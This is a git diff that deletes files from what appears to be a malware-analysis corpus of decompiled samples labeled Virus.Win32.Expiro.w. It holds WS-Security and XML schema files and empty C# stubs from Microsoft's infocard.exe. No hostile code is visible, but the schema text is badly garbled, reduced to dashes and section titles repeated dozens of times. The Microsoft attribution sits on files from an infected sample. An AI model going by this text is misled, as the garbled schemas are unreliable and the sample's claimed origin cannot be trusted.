5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - - 5.3.4 KerberosToken Assertion - - - - - - - - - - - - 5.3.4 KerberosToken Assertion - - - - - - - 5.3.4 KerberosToken Assertion - - - - - - - - 5.3.5 SpnegoContextToken Assertion - - - - - - - - - - - - - - - - - - - - 5.3.6 SecurityContextToken Assertion - - - - - - - - - - - 5.3.6 SecurityContextToken Assertion - - - - - - - 5.3.6 SecurityContextToken Assertion - - - - - - - - 5.3.7 SecureConversationToken Assertion - - - - - - - - - - - - - - - - - - - - - - 5.3.7 SecureConversationToken Assertion - - - - - - - - 5.3.8 SamlToken Assertion - - - - - - - - - - - - 5.3.8 SamlToken Assertion - - - - - - - 5.3.8 SamlToken Assertion - - - - - - - 5.3.8 SamlToken Assertion - - - - - - - - 5.3.9 RelToken Assertion - - - - - - - - - - - - 5.3.9 RelToken Assertion - - - - - - - 5.3.9 RelToken Assertion - - - - - - - 5.3.9 RelToken Assertion - - - - - - - 5.3.9 RelToken Assertion - - - - - - - - 5.3.10 HttpsToken Assertion - - - - - - - 5.3.10 HttpsToken Assertion - - - - - - - 5.3.10 HttpsToken Assertion - - - - - - - 5.3.10 HttpsToken Assertion - - - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - - - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - - 7.2 Layout Assertion - - - - - - - - 7.2 Layout Assertion - - - - - - - 7.2 Layout Assertion - - - - - - - 7.2 Layout Assertion - - - - - - - 7.2 Layout Assertion - - - - - - - - 7.3 TransportBinding Assertion - - - - - - - - 7.3 TransportBinding Assertion - - - - - - - - - - 7.3 TransportBinding Assertion - - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - 8=7.4 SymmetricBinding Assertion - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - - - - - - - - - 8.1 SupportingTokens Assertion - - - - - - - - - - - - - 8.2 SignedSupportingTokens Assertion - - - - - - - - - - - - - 8.3 EndorsingSupportingTokens Assertion - - - - - - - - - - - - - 8.4 SignedEndorsingSupportingTokens Assertion - - - - - - - - - - - - - 8.5 SignedEncryptedSupportingTokens Assertion - - - - - - - - - - - - - 8.6 EndorsingEncryptedSupportingTokens Assertion - - - - - - - - - - - - - 8.7 SignedEndorsingEncryptedSupportingTokens Assertion - - - - - - - - - - - - - - 9.1 Wss10 Assertion - - - - - - - - 9.1 Wss10 Assertion - - - - - - - 9.1 Wss10 Assertion - - - - - - - 9.1 Wss10 Assertion - - - - - - - 9.1 Wss10 Assertion - - - - - - - - 9.2 Wss11 Assertion - - - - - - - - - - - - 9.2 Wss11 Assertion - - - - - - - 9.2 Wss11 Assertion - - - - - - - 9.2 Wss11 Assertion - - - - - - - - - 10.1 Trust10 Assertion - - - - - - - - 10.1 Trust10 Assertion - - - - - - - 10.1 Trust10 Assertion - - - - - - - 10.1 Trust10 Assertion - - - - - - - 10.1 Trust10 Assertion - - - - - - - 10.1 Trust10 Assertion - - - - - - - 10.1 Trust10 Assertion - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-securitypolicy.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-securitypolicy.xsd deleted file mode 100644 index 8eb7d416..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-securitypolicy.xsd +++ /dev/null @@ -1,979 +0,0 @@ - - - - - - - - - - - - 5.1.1 SignedParts Assertion - - - - - - - 5.2.1 EncryptedParts Assertion - - - - - - - - - - - - - - - - - - - - - - 5.1.2 SignedElements Assertion - - - - - - - 5.2.2 EncryptedElements Assertion - - - - - - - 5.3.1 RequiredElements Assertion - - - - - - - - - - - - - - - - - 6.1 Token Inclusion - - - - - - - - - - - - - - - - - - - 6.3.1 UsernameToken Assertion - - - - - - - - - - - - - - - - 6.3.1 UsernameToken Assertion - - - - - - - 6.3.1 UsernameToken Assertion - - - - - - - - - - - 6.3.2 IssuedToken Assertion - - - - - - - - - - - - - - - - - - - - - - - - - 6.3.2 IssuedToken Assertion - - - - - - - 6.3.2 IssuedToken Assertion - - - - - - - 6.3.2 IssuedToken Assertion - - - - - - - - 6.3.3 X509Token Assertion - - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - - 6.3.4 KerberosToken Assertion - - - - - - - - - - 6.3.4 KerberosToken Assertion - - - - - - - 6.3.4 KerberosToken Assertion - - - - - - - - 6.3.5 SpnegoContextToken Assertion - - - - - - - - - - - - - - - - - - 6.3.6 SecurityContextToken Assertion - - - - - - - - - 6.3.6 SecurityContextToken Assertion - - - - - - - 6.3.6 SecurityContextToken Assertion - - - - - - - - 6.3.7 SecureConversationToken Assertion - - - - - - - - - - - - - - - - - - - - 6.3.7 SecureConversationToken Assertion - - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - - 6.3.9 RelToken Assertion - - - - - - - - - - 6.3.9 RelToken Assertion - - - - - - - 6.3.9 RelToken Assertion - - - - - - - 6.3.9 RelToken Assertion - - - - - - - 6.3.9 RelToken Assertion - - - - - - - - 6.3.10 HttpsToken Assertion - - - - - - - - - - - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - - - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - - 8.2 Layout Assertion - - - - - - - - 8.2 Layout Assertion - - - - - - - 8.2 Layout Assertion - - - - - - - 8.2 Layout Assertion - - - - - - - 8.2 Layout Assertion - - - - - - - - 8.3 TransportBinding Assertion - - - - - - - - 8.3 TransportBinding Assertion - - - - - - - - - - 8.3 TransportBinding Assertion - - - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - - 8.5 AsymmetricBinding Assertion - - - - - - - - 8.5 AsymmetricBinding Assertion - - - - - - - - 8.5 AsymmetricBinding Assertion - - - - - - - - - - - - - - - - - 9.1 SupportingTokens Assertion - - - - - - - - - - - - - 9.2 SignedSupportingTokens Assertion - - - - - - - - - - - - - 9.3 EndorsingSupportingTokens Assertion - - - - - - - - - - - - - 9.4 SignedEndorsingSupportingTokens Assertion - - - - - - - - - - - - - - 10.1 Wss10 Assertion - - - - - - - - 10.1 Wss10 Assertion - - - - - - - 10.1 Wss10 Assertion - - - - - - - 10.1 Wss10 Assertion - - - - - - - 10.1 Wss10 Assertion - - - - - - - - 10.2 Wss11 Assertion - - - - - - - - - - - - 10.2 Wss11 Assertion - - - - - - - 10.2 Wss11 Assertion - - - - - - - 10.2 Wss11 Assertion - - - - - - - - - 11.1 Trust10 Assertion - - - - - - - - 11.1 Trust10 Assertion - - - - - - - 11.1 Trust10 Assertion - - - - - - - 11.1 Trust10 Assertion - - - - - - - 11.1 Trust10 Assertion - - - - - - - 11.1 Trust10 Assertion - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-trust-1/3.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-trust-1/3.xsd deleted file mode 100644 index dff1c9b3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-trust-1/3.xsd +++ /dev/null @@ -1,444 +0,0 @@ - - - - - - - - - - - - - - - Actual content model is non-deterministic, hence wildcard. The following shows intended content model: - - <xs:element ref='wst:TokenType' minOccurs='0' /> - <xs:element ref='wst:RequestType' /> - <xs:element ref='wsp:AppliesTo' minOccurs='0' /> - <xs:element ref='wst:Claims' minOccurs='0' /> - <xs:element ref='wst:Entropy' minOccurs='0' /> - <xs:element ref='wst:Lifetime' minOccurs='0' /> - <xs:element ref='wst:AllowPostdating' minOccurs='0' /> - <xs:element ref='wst:Renewing' minOccurs='0' /> - <xs:element ref='wst:OnBehalfOf' minOccurs='0' /> - <xs:element ref='wst:Issuer' minOccurs='0' /> - <xs:element ref='wst:AuthenticationType' minOccurs='0' /> - <xs:element ref='wst:KeyType' minOccurs='0' /> - <xs:element ref='wst:KeySize' minOccurs='0' /> - <xs:element ref='wst:SignatureAlgorithm' minOccurs='0' /> - <xs:element ref='wst:Encryption' minOccurs='0' /> - <xs:element ref='wst:EncryptionAlgorithm' minOccurs='0' /> - <xs:element ref='wst:CanonicalizationAlgorithm' minOccurs='0' /> - <xs:element ref='wst:ProofEncryption' minOccurs='0' /> - <xs:element ref='wst:UseKey' minOccurs='0' /> - <xs:element ref='wst:SignWith' minOccurs='0' /> - <xs:element ref='wst:EncryptWith' minOccurs='0' /> - <xs:element ref='wst:DelegateTo' minOccurs='0' /> - <xs:element ref='wst:Forwardable' minOccurs='0' /> - <xs:element ref='wst:Delegatable' minOccurs='0' /> - <xs:element ref='wsp:Policy' minOccurs='0' /> - <xs:element ref='wsp:PolicyReference' minOccurs='0' /> - <xs:any namespace='##other' processContents='lax' minOccurs='0' maxOccurs='unbounded' /> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Actual content model is non-deterministic, hence wildcard. The following shows intended content model: - - <xs:element ref='wst:TokenType' minOccurs='0' /> - <xs:element ref='wst:RequestType' /> - <xs:element ref='wst:RequestedSecurityToken' minOccurs='0' /> - <xs:element ref='wsp:AppliesTo' minOccurs='0' /> - <xs:element ref='wst:RequestedAttachedReference' minOccurs='0' /> - <xs:element ref='wst:RequestedUnattachedReference' minOccurs='0' /> - <xs:element ref='wst:RequestedProofToken' minOccurs='0' /> - <xs:element ref='wst:Entropy' minOccurs='0' /> - <xs:element ref='wst:Lifetime' minOccurs='0' /> - <xs:element ref='wst:Status' minOccurs='0' /> - <xs:element ref='wst:AllowPostdating' minOccurs='0' /> - <xs:element ref='wst:Renewing' minOccurs='0' /> - <xs:element ref='wst:OnBehalfOf' minOccurs='0' /> - <xs:element ref='wst:Issuer' minOccurs='0' /> - <xs:element ref='wst:AuthenticationType' minOccurs='0' /> - <xs:element ref='wst:Authenticator' minOccurs='0' /> - <xs:element ref='wst:KeyType' minOccurs='0' /> - <xs:element ref='wst:KeySize' minOccurs='0' /> - <xs:element ref='wst:SignatureAlgorithm' minOccurs='0' /> - <xs:element ref='wst:Encryption' minOccurs='0' /> - <xs:element ref='wst:EncryptionAlgorithm' minOccurs='0' /> - <xs:element ref='wst:CanonicalizationAlgorithm' minOccurs='0' /> - <xs:element ref='wst:ProofEncryption' minOccurs='0' /> - <xs:element ref='wst:UseKey' minOccurs='0' /> - <xs:element ref='wst:SignWith' minOccurs='0' /> - <xs:element ref='wst:EncryptWith' minOccurs='0' /> - <xs:element ref='wst:DelegateTo' minOccurs='0' /> - <xs:element ref='wst:Forwardable' minOccurs='0' /> - <xs:element ref='wst:Delegatable' minOccurs='0' /> - <xs:element ref='wsp:Policy' minOccurs='0' /> - <xs:element ref='wsp:PolicyReference' minOccurs='0' /> - <xs:any namespace='##other' processContents='lax' minOccurs='0' maxOccurs='unbounded' /> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - The RequestSecurityTokenCollection (RSTC) element is used to provide multiple RST requests. - One or more RSTR elements in an RSTRC element are returned in the response to the RequestSecurityTokenCollection. - - - - - - - - - - - - The <wst:RequestSecurityTokenResponseCollection> element (RSTRC) MUST be used to return a security token or - response to a security token request on the final response. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-trust.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-trust.xsd deleted file mode 100644 index 0bf1518f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-trust.xsd +++ /dev/null @@ -1,451 +0,0 @@ - - - - - - - - - - - - - - - Actual content model is non-deterministic, hence wildcard. The following shows intended content model: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Actual content model is non-deterministic, hence wildcard. The following shows intended content model: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/xenc-schema.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/xenc-schema.xsd deleted file mode 100644 index 534b29a7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/xenc-schema.xsd +++ /dev/null @@ -1,137 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/xml.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/xml.xsd deleted file mode 100644 index c63b7982..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/xml.xsd +++ /dev/null @@ -1,135 +0,0 @@ - - - - - - See http://www.w3.org/XML/1998/namespace.html and - http://www.w3.org/TR/REC-xml for information about this namespace. - - This schema document describes the XML namespace, in a form - suitable for import by other schema documents. - - Note that local names in this namespace are intended to be defined - only by the World Wide Web Consortium or its subgroups. The - following names are currently defined in this namespace and should - not be used with conflicting semantics by any Working Group, - specification, or document instance: - - base (as an attribute name): denotes an attribute whose value - provides a URI to be used as the base for interpreting any - relative URIs in the scope of the element on which it - appears; its value is inherited. This name is reserved - by virtue of its definition in the XML Base specification. - - id (as an attribute name): denotes an attribute whose value - should be interpreted as if declared to be of type ID. - The xml:id specification is not yet a W3C Recommendation, - but this attribute is included here to facilitate experimentation - with the mechanisms it proposes. Note that it is _not_ included - in the specialAttrs attribute group. - - lang (as an attribute name): denotes an attribute whose value - is a language code for the natural language of the content of - any element; its value is inherited. This name is reserved - by virtue of its definition in the XML specification. - - space (as an attribute name): denotes an attribute whose - value is a keyword indicating what whitespace processing - discipline is intended for the content of the element; its - value is inherited. This name is reserved by virtue of its - definition in the XML specification. - - Father (in any context at all): denotes Jon Bosak, the chair of - the original XML Working Group. This name is reserved by - the following decision of the W3C XML Plenary and - XML Coordination groups: - - In appreciation for his vision, leadership and dedication - the W3C XML Plenary on this 10th day of February, 2000 - reserves for Jon Bosak in perpetuity the XML name - xml:Father - - - - - This schema defines attributes and an attribute group - suitable for use by - schemas wishing to allow xml:base, xml:lang or xml:space attributes - on elements they define. - - To enable this, such a schema must import this schema - for the XML namespace, e.g. as follows: - <schema . . .> - . . . - <import namespace="http://www.w3.org/XML/1998/namespace" - schemaLocation="http://www.w3.org/2001/03/xml.xsd"/> - - Subsequently, qualified reference to any of the attributes - or the group defined below will have the desired effect, e.g. - - <type . . .> - . . . - <attributeGroup ref="xml:specialAttrs"/> - - will define a type which will schema-validate an instance - element with any of those attributes - - - - In keeping with the XML Schema WG's standard versioning - policy, this schema document will persist at - http://www.w3.org/2004/10/xml.xsd. - At the date of issue it can also be found at - http://www.w3.org/2001/xml.xsd. - The schema document at that URI may however change in the future, - in order to remain compatible with the latest version of XML Schema - itself, or with the XML namespace itself. In other words, if the XML - Schema or XML namespaces change, the version of this document at - http://www.w3.org/2001/xml.xsd will change - accordingly; the version at - http://www.w3.org/2004/10/xml.xsd will not change. - - - - - - Attempting to install the relevant ISO 2- and 3-letter - codes as the enumerated possible values is probably never - going to be a realistic possibility. See - RFC 3066 at http://www.ietf.org/rfc/rfc3066.txt and the IANA registry - at http://www.iana.org/assignments/lang-tag-apps.htm for - further information. - - - - - - - - - - - - - - - See http://www.w3.org/TR/xmlbase/ for - information about this attribute. - - - - - - See http://www.w3.org/TR/xml-id/ for - information about this attribute. - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/xmldsig-core-schema.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/xmldsig-core-schema.xsd deleted file mode 100644 index 1f93cdfd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/xmldsig-core-schema.xsd +++ /dev/null @@ -1,310 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/AssemblyInfo.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/AssemblyInfo.cs deleted file mode 100644 index 88715401..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/AssemblyInfo.cs +++ /dev/null @@ -1,22 +0,0 @@ -using System; -using System.Reflection; -using System.Resources; -using System.Runtime.InteropServices; -using System.Security.Permissions; - -[assembly: SatelliteContractVersion("3.0.0.0")] -[assembly: AssemblyFileVersion("3.0.4506.2123")] -[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] -[assembly: NeutralResourcesLanguage("en-US")] -[assembly: AssemblyInformationalVersion("3.0.4506.2123")] -[assembly: ComVisible(false)] -[assembly: AssemblyCompany("Microsoft Corporation")] -[assembly: AssemblyDefaultAlias("infocard.exe")] -[assembly: AssemblyDescription("infocard.exe")] -[assembly: AssemblyTitle("infocard.exe")] -[assembly: CLSCompliant(false)] -[assembly: AssemblyProduct("Microsoft® .NET Framework")] -[assembly: AssemblyKeyFile("f:\\dd\\Tools\\devdiv\\EcmaPublicKey.snk")] -[assembly: AssemblyDelaySign(true)] -[assembly: AssemblyVersion("3.0.0.0")] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/BrowserNavConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/BrowserNavConstants.cs deleted file mode 100644 index f996b2d7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/BrowserNavConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: BrowserNavConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum BrowserNavConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/CallMode.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/CallMode.cs deleted file mode 100644 index 1c5008bc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/CallMode.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: CallMode -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum CallMode -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/CommandStateChangeConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/CommandStateChangeConstants.cs deleted file mode 100644 index 5c33c1fd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/CommandStateChangeConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: CommandStateChangeConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum CommandStateChangeConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/HDC__.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/HDC__.cs deleted file mode 100644 index 153b2951..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/HDC__.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: HDC__ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[NativeCppClass] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 4)] -internal struct HDC__ -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/HINSTANCE__.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/HINSTANCE__.cs deleted file mode 100644 index a18a4fd8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/HINSTANCE__.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: HINSTANCE__ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly 